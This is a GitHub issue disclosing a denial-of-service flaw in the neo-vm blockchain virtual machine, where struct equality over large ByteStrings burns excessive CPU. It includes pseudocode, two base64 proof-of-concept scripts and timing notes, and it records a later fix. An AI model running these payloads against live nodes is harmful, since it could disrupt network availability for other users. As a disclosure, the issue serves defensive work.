Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

neo-vm ddos caused by struct's equal #23

Closed
dusmart opened this issue Apr 22, 2022 · 2 comments
Closed

neo-vm ddos caused by struct's equal #23

dusmart opened this issue Apr 22, 2022 · 2 comments

Comments

@dusmart
Copy link
Contributor

dusmart commented Apr 22, 2022

Struct equal combined with ByteString in neo-vm spends huge cpu resources which can exhaust time.

s1 = 'h' * 65535 // len(s1) == 65535, ByteString.MaxComparableSize = 65535
t1 = {s1, s1, ... , s1} // len(t1) == 1000, ExecutionEngineLimits.MaxStackSize = 2048
s2 = 'h' * 65535
t2 = {s2, s2, ... , s2}

t1.equals(t2) // this opcode is very cheap while spends lots of cpu resources

POC1 (50000 iterate, will be complete in 3m35s): DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJQwwAAEk0STZdFnUol+P///0k=
POC2 (5000000 iterate, damn too long to wait):
DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJAS0wAEk0STZdFnUol+P///0k=

Ref: #20

roman-khimov: Opcode prices were tested and discussed in neo-project/neo#2004 and neo-project/neo#1875 previously.
roman-khimov: We can also remember neo-project/neo#1855 and neo-project/neo-vm#367, do we want MaxComparableStructSize now?
dusmart The item EQUAL(max) in table in neo-project/neo#2004 should be updated. 80 microseconds is not the max time consumed. In this case, it should be somethings between 1024~65535.

@dusmart
Copy link
Contributor Author

dusmart commented Apr 22, 2022

~ 4300 microseconds per equal test
~ 6 hours will be needed for 5000_000 iterates

@dusmart
Copy link
Contributor Author

dusmart commented May 7, 2022

closed by neo-project/neo-vm#454

@dusmart dusmart closed this as completed May 7, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant